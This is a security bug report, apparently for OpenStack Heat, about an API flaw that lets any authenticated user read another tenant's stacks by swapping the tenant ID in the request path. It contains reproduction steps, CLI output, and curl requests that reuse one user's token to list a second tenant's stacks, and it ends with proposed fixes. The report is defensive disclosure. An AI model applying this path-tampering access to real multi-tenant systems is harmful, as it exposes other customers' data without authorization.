While working on the request-scoping-policy blueprint, I've discovered a flaw in the way the ReST API handles the tenant_id that is part of the request path:
https://github.com/openstack/heat/blob/master/heat/api/openstack/v1/util.py#L29
Here we incorrectly override the request context tenant_id (which is what we get from the keystone auth_token middleware) with the tenant_id in the request path.
This has the very bad side effect of meaning that anyone who can authenticate with the Heat ReST API can just change the path and trivially bypass the tenant scoping of the request.
Steps to reproduce:
- Optionally set token_format = UUID in /etc/keystone/keystone.conf to make tokens easier to cut/paste
- Create two users, User1 and User2, in two different tenants
- Create some heat stacks with each user
- Do heat --debug stack-list with each user and note the stack IDs
- Copy one of the curl commands and modify the path to point at the other tenant
- Observe that e.g User1 can retrieve stacks from User2's tenant
# keystone user-get User1
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 36686aebcb0347c9a3bfb117635d2bec |
| name | User1 |
| tenantId | 0809343a8f9e4f07bce678855acef39a |
+----------+----------------------------------+
# keystone user-get User2
+----------+----------------------------------+
| Property | Value |
+----------+----------------------------------+
| email | |
| enabled | True |
| id | 30c0207e25254a658297c7b242cfa9d7 |
| name | User2 |
| tenantId | e638f4841a764289babd2a91eb5f2eb4 |
+----------+----------------------------------+
(keystone_User1)]$ heat list
+--------------------------------------+------------+-----------------+----------------------+
| id | stack_name | stack_status | creation_time |
+--------------------------------------+------------+-----------------+----------------------+
| a6a13511-51b9-4b95-a3aa-dbd69cf2976f | blah | UPDATE_COMPLETE | 2013-11-18T15:56:55Z |
| 44eb22a2-832f-4b1d-97ea-c483947b4147 | blah2 | CREATE_COMPLETE | 2013-11-19T11:02:20Z |
+--------------------------------------+------------+-----------------+----------------------+
(keystone_User2)]$ heat list
+--------------------------------------+------------+-----------------+----------------------+
| id | stack_name | stack_status | creation_time |
+--------------------------------------+------------+-----------------+----------------------+
| d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb | blah3 | CREATE_COMPLETE | 2013-11-19T16:45:43Z |
+--------------------------------------+------------+-----------------+----------------------+
curl -i -X GET -H 'X-Auth-Token: 40ed9682a7f54235aa3be360622e6466' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'User-Agent: python-heatclient' http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks?
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 1085
Date: Mon, 02 Dec 2013 16:41:41 GMT
{"stacks": [{"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks/blah2/44eb22a2-832f-4b1d-97ea-c483947b4147", "rel": "self"}], "stack_status_reason": "Stack create completed successfully", "stack_name": "blah2", "creation_time": "2013-11-19T11:02:20Z", "updated_time": "2013-11-19T11:02:20Z", "stack_status": "CREATE_COMPLETE", "id": "44eb22a2-832f-4b1d-97ea-c483947b4147"}, {"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/0809343a8f9e4f07bce678855acef39a/stacks/blah/a6a13511-51b9-4b95-a3aa-dbd69cf2976f", "rel": "self"}], "stack_status_reason": "Stack successfully updated", "stack_name": "blah", "creation_time": "2013-11-18T15:56:55Z", "updated_time": "2013-11-18T19:02:00Z", "stack_status": "UPDATE_COMPLETE", "id": "a6a13511-51b9-4b95-a3aa-dbd69cf2976f"}]}
$ curl -i -X GET -H 'X-Auth-Token: 40ed9682a7f54235aa3be360622e6466' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'User-Agent: python-heatclient' http://127.0.0.1:8004/v1/e638f4841a764289babd2a91eb5f2eb4/stacks?
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 554
Date: Mon, 02 Dec 2013 16:43:31 GMT
{"stacks": [{"description": "Hello world HOT template that just defines a single compute instance. Contains just base features to verify base HOT support.\n", "links": [{"href": "http://127.0.0.1:8004/v1/e638f4841a764289babd2a91eb5f2eb4/stacks/blah3/d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb", "rel": "self"}], "stack_status_reason": "Stack create completed successfully", "stack_name": "blah3", "creation_time": "2013-11-19T16:45:43Z", "updated_time": "2013-11-19T16:45:43Z", "stack_status": "CREATE_COMPLETE", "id": "d26227b0-f91e-44cd-ac6f-5ba8cd1d5fbb"}]}
Note the exact same X-Auth-Token is used in both cases, one from User1, but we can list User2's stack just by changing the path :(
So the simplest possible fix is to remove the line which overwrites the context tenant_id:
https:/
This just means the tenant_id in the path is ignored, and User1 always gets the same data regardless of the tenant specified in the path (solving the immediate problem)
However we should probably consider a more robust fix, where we deny any request where the tenant_id specified in the path doesn't match the tenant_id in the context, either directly in the API, or via a policy rule (I'm working on making the ReST API policy.json aware atm).